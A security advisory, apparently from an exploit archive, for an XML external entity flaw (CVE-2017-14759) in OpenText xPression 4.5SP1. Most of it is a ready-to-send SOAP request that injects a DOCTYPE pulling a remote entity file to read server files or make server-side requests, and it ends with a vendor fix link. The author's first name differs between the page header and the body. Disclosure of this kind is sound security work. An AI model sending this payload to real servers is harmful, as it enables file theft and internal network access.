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OpenText Document Sciences xPression 4.5SP1 Patch 13 XML Injection

OpenText Document Sciences xPression 4.5SP1 Patch 13 XML Injection
Posted Sep 29, 2017
Authored by Mariusz Woloszyn

OpenText Document Sciences xPression version 4.5SP1 Patch 13 suffers from an XML external entity injection vulnerability.

tags | exploit, xxe
advisories | CVE-2017-14759
MD5 | cc7bbb9dac8735511fb665bdf6292a89

OpenText Document Sciences xPression 4.5SP1 Patch 13 XML Injection

Change Mirror Download
Title: OpenText Document Sciences xPression (formerly EMC Document
Sciences xPression) - XML External Entity
Author: Marcin Woloszyn
Date: 27. September 2017
CVE: CVE-2017-14759

Affected Software:
==================
OpenText Document Sciences xPression (formerly EMC Document Sciences xPression)

Exploit was tested on:
======================
v4.5SP1 Patch 13 (older versions might be affected as well)

XML External Entity:
====================

Application XML parser is accepting DOCTYPE in provided XML documents
either directly or indirectly, using URL.
This can be exploited in various of ways, e.g. to read directory
listings, read system or application files,
cause denial of service or issue requests on behalf of server (SSRF).

Vector :
--------

POST /xFramework/services/QuickDoc.QuickDocHttpSoap11Endpoint/ HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: "urn:publishDocument"
Content-Length: 13689
Host: [...cut...]
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: close

<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:web="http://webservice.framework.xprs.dsc.com">
<soapenv:Header/>
<soapenv:Body>
<web:publishDocument>
<web:requestContext><![CDATA[<!DOCTYPE m [ <!ENTITY % r
SYSTEM "http://[...cut...]/m.xml"> %r; %i; %t; ]><RequestContext>
<Credentials method="UserID and Password">
<UserID>[...cut...]</UserID>
<Password>[...cut...]</Password>
</Credentials>
<ApplicationName>ELease</ApplicationName>
</RequestContext>]]>
</web:requestContext>
<web:documentName>[...cut...]</web:documentName>
<web:customerData>
<![CDATA[
<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="C:\xPression\CustomerData\Schema\eLease_v0.3.xsd">
<eLease>
<PrintStatus>Final</PrintStatus>
[...cut...]
</eLease>
</root>
]]> </web:customerData>
<!--Optional:-->
<web:outputProfileName>PDF w Draftwatermark to
File</web:outputProfileName>
</web:publishDocument>
</soapenv:Body>
</soapenv:Envelope>

Fix:
====
https://knowledge.opentext.com/knowledge/llisapi.dll/Open/68982774

Contact:
========
mw[at]nme[dot]pl


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